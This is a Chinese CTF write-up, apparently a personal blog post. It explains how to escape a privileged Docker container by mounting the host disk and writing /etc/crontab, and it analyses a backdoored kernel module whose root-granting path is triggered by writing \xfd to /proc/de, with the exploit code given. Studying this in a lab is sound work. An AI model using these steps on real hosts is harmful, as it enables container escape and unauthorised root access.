数字云是第一次线下打real world模式,题目质量很高,深感自己所学知识的匮乏,因此特地学习了一波docker相关的知识,其实题目很简单,都怪自己太菜了走入了死胡同
docker在特权模式下启动的逃逸
开启–privileged 的情况下(或者使用—cap-add=SYSADMIN参数启动时)
我们知道在版本6.0以后docker引入了特权模式
特权模式下允许容器内的root几乎拥有外部物理机的root级别权限,而在此之前容器内root用户仅拥有外部物理机普通用户权限。
因此,在开启了privileged的时候,我们就可以通过mount命令将外部宿主的磁盘挂载在容器内部,此时也就获得了宿主机的读写权限
比如我们以特权模式开启一个docker,此时利用 fdisk -l 命令来查看磁盘文件:
1 2 3 4 5 6 7 8 9 10
| root@ed1221982ba0:~ Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x6e32e1c3
Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 41940991 41938944 20G 83 Linux
|
此时我们就可以把sda1挂载到我们的容器内
- mkdir /xyz
- mount /dev/sda1 /xyz
此时我们访问/xyz就可以访问到宿主机了,并且是拥有读写权限的,执行命令我们也可以通过写入 /etc/crontab 文件来执行命令(比如弹计算器QAQ)
数字云线下docker解法
线下的时候里一血和做不出来差了一个字符,导致这篇文章咕咕咕了很久
题目要求是ssh上宿主机起的docker,然后在宿主机弹出计算器即可,给了宿主机启动docker前的的两行命令
1 2
| sudo insmod /home/b/de.ko sudo docker run -itd --privileged -p 0.0.0.0:23:22 d77241e92fe6 /bin/bash -c "/etc/init.d/ssh start;/bin/bash"
|
一种取巧的做法就是上面描述的使用特权方法,也是我线下时采用的(当时其实应该是成功了,但是环境崩了一度让我以为是我没做对
尝试过的做法,
- 直接弹计算器
- bash反弹shell
这两种当时都未成功,第一种是忘了环境变量display(弹GUI程序需要)
第二种为什么失败就很迷了,但是有师傅用python反弹shell成功了,可能是运气不好吧2333
这里就使用这道题的正规解法来做吧
题目首先挂载了de.ko文件,然后启动了docker,那么肯定是ko文件的问题,我们拉进IDA中对文件进行分析
init_moudle
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __int64 init_module() { __int64 v0 __int64 v1
_fentry__() v0 = kmalloc_caches[4] *(¬e + 0x100000000LL) = 0 v1 = kmem_cache_alloc_trace(v0, 20971712LL, 10LL) *(_BYTE *)(v1 + 8) = 1 hack = v1 proc_create_data("de", 438LL, 0LL, &de_proc, 0LL) printk("/proc/de created\n", 438LL) printk("size of cred : %ld \n", 168LL) return 0LL }
|
copy_overflow
1 2 3 4 5
| void __fastcall __noreturn copy_overflow(unsigned int a1, __int64 a2) { _warn_printk("Buffer overflow detected (%d < %lu)!\n", a1, a2) BUG(); }
|
de_write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| __int64 __usercall de_write@<rax>(__int64 a1@<rbx>, __int64 a2@<rbp>, char *a3@<rsi>, __int64 a4@<r12>, __int64 a5@<r13>, __int64 a6@<r14>) { char *v6 __int64 v7 __int64 v8 __int64 v9 char v10 __int64 v11 __int64 v12 __int64 v14 unsigned int v15 __int64 v16 __int64 v17 const char *v18 __int64 v19 unsigned __int64 v20 __int64 v21 __int64 v22 __int64 v23 __int64 v24 __int64 v25
_fentry__() v25 = a2 v24 = a6 v23 = a5 v22 = a4 v21 = a1 v6 = a3 v8 = v7 v20 = __readgsqword(0x28u) mutex_lock(&lock) v9 = (unsigned __int8)*a3 printk("order:%d", v9) v10 = *v6 if ( *v6 ) { if ( v10 == -1 ) { printk("note write\n", v9) v17 = *((_QWORD *)¬e + 1) _check_object_size(*((_QWORD *)¬e + 1), v8 - 1, 0LL) copy_from_user(v17, v6 + 1, v8 - 1) printk("write contents compelete\n", v6 + 1) } else if ( v10 == -2 ) { printk("note write magic %ld\n", v8) v16 = hack _check_object_size(hack, v8 - 1, 0LL) copy_from_user(v16, v6 + 1, v8 - 1) } else if ( v10 != -3 || *(_BYTE *)(hack + 8) ) { printk("note malloc\n", v9) note = *v6 printk("write size compelete\n", v9) v11 = _kmalloc((unsigned __int8)note, 20971712LL) v12 = (unsigned __int8)note *((_QWORD *)¬e + 1) = v11 printk("malloc size compelete:%d @ %p\n", v12) } else { v14 = prepare_kernel_cred(0LL) commit_creds(v14) v18 = "/usr/bin/gnome-calculator" v19 = 0LL v15 = call_usermodehelper("/usr/bin/gnome-calculator", &v18, envp_26376, 1LL) printk("RC is: %i \n", v15) } } else { printk("note free\n", v9) kfree(*((_QWORD *)¬e + 1)) } mutex_unlock(&lock) return v8 }
|
de_read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| unsigned __int64 __fastcall de_read(__int64 a1, __int64 a2) { unsigned __int64 v2; unsigned __int64 v3; unsigned __int64 v4; __int64 v5;
_fentry__(); v3 = v2; mutex_lock(&lock); printk("/proc/de read\n", a2); v4 = (unsigned __int8)note; if ( (unsigned __int8)note > v3 ) v4 = v3; v5 = *((_QWORD *)¬e + 1); _check_object_size(*((_QWORD *)¬e + 1), v4, 1LL); copy_to_user(a2, v5, v4); mutex_unlock(&lock); return v4; }
|
我们可以看到我们只需要紧盯de_write函数即可,我们只需要让程序跳转到这里就可以调用后门来弹出计算器了
1 2 3 4 5 6
| v14 = prepare_kernel_cred(0LL); commit_creds(v14); v18 = "/usr/bin/gnome-calculator"; v19 = 0LL; v15 = call_usermodehelper("/usr/bin/gnome-calculator", &v18, envp_26376, 1LL); printk("RC is: %i \n", v15);
|
我们知道在内核中想要获得root权限不能只是用system(“/bin/sh”);而是用下面的语句:
1
| commit_creds(prepare_kernel_cred (0))
|
这个函数分配并应用了一个新的凭证结构(uid = 0, gid = 0)从而获取root权限来执行命令
那么我们该如何跳转到这里呢?
我们可以看到de_write的定义如下:
1
| _int64 __usercall de_write@<rax>(__int64 a1@<rbx>, __int64 a2@<rbp>, char *a3@<rsi>, __int64 a4@<r12>, __int64 a5@<r13>, __int64 a6@<r14>)
|
而正常情况下write函数的定义为:
1
| ssize_t write(int filedes, void *buf, size_t nbytes);
|
因此我们不难猜到a3应该就是我们所传入的buf
而我们所关注的只有v6,也就是a3
后面做了一个赋值操作,即
首先传入所写值v6,如果v6有值就进行下面的判断,首先如果v10==-1,那么
1 2 3 4 5
| printk("note write\n", v9); v17 = *((_QWORD *)¬e + 1); _check_object_size(*((_QWORD *)¬e + 1), v8 - 1, 0LL); copy_from_user(v17, v6 + 1, v8 - 1); printk("write contents compelete\n", v6 + 1);
|
而如果是-2,那么
1 2 3 4
| printk("note write magic %ld\n", v8) v16 = hack _check_object_size(hack, v8 - 1, 0LL) copy_from_user(v16, v6 + 1, v8 - 1)
|
如果
就运行
1 2 3 4 5 6 7
| printk("note malloc\n", v9); note = *v6; printk("write size compelete\n", v9); v11 = _kmalloc((unsigned __int8)note, 20971712LL); v12 = (unsigned __int8)note; *((_QWORD *)¬e + 1) = v11; printk("malloc size compelete:%d @ %p\n", v12);
|
否则才能跳转到我们所需要的逻辑上,而这个hack变量在bss段上,因此我们需要让v10=-1并且
迷惑行为2333
其实这里我们直接看汇编部分会更加清楚
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| text:0000000000000020 call __fentry__ .text:0000000000000025 push rbp .text:0000000000000026 mov rdi, offset lock .text:000000000000002D mov rbp, rsp .text:0000000000000030 push r14 .text:0000000000000032 push r13 .text:0000000000000034 push r12 .text:0000000000000036 push rbx .text:0000000000000037 mov rbx, rsi .text:000000000000003A mov r12, rdx .text:000000000000003D sub rsp, 18h .text:0000000000000041 mov rax, gs:28h .text:000000000000004A mov [rbp-28h], rax .text:000000000000004E xor eax, eax .text:0000000000000050 call mutex_lock .text:0000000000000055 movzx esi, byte ptr [rbx] .text:0000000000000058 mov rdi, offset aOrderD .text:000000000000005F call printk .text:0000000000000064 movzx eax, byte ptr [rbx] .text:0000000000000067 test al, al .text:0000000000000069 jz loc_1D6 .text:000000000000006F cmp al, 0FFh .text:0000000000000071 jz loc_191 .text:0000000000000077 cmp al, 0FEh .text:0000000000000079 jz loc_155 .text:000000000000007F cmp al, 0FDh .text:0000000000000081 jnz short loc_90 .text:0000000000000083 mov rax, cs:hack .text:000000000000008A cmp byte ptr [rax+8], 0 .text:000000000000008E jz short loc_10E .text:0000000000000090
|
只需要调用write函数写入\xfd即可(我可真是个菜鸡
exp如下:
1 2 3 4 5 6
| #include <stdio.h>
void main(){ int fd = open("/proc/de", 2); write(fd, "\xfd", 1); }
|
编译运行即可弹出计算器
这里记录一个脚本可以实时查看内核的输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| #include <stdio.h> #include <stdlib.h>
int compareFile(FILE *old, FILE *new);
int main() { FILE *new; FILE *old; int lRet; static first = 0; system("touch file_new"); system("touch file_old");
new = fopen("file_new", "rw"); old = fopen("file_old", "rw");
while(1) { sleep(1); system("dmesg > file_new"); if (first == 0) { system("cp file_new file_old"); first++; continue; }
new = fopen("file_new", "rw"); old = fopen("file_old", "rw"); if (compareFile(new, old) == 0) { fclose(new); fclose(old); continue; } else { fclose(new); fclose(old); system("diff file_new file_old"); system("cp file_new file_old"); } } return 0; }
int compareFile(FILE *old, FILE *new) { char c1; char c2;
while(!feof(old) && !feof(new)) { c1 = fgetc(old); c2 = fgetc(new);
if (c1 != c2) { return -1; } }
if ((c1 == EOF)&&(c2 == EOF)) { return 0; } return -1; }
|
编译运行并跑起来即可
总结
遇到之前没遇到的东西一定不能能慌,说不定非常简单(我真是个菜鸡hhh
F5大法得到的东西诡异不如直接阅读反汇编代码
不过也学到了如何与linux后门进行交互,感谢出题人的良苦用心
原文链接:https://nightrainy.github.io/2019/10/31/play-with-docker/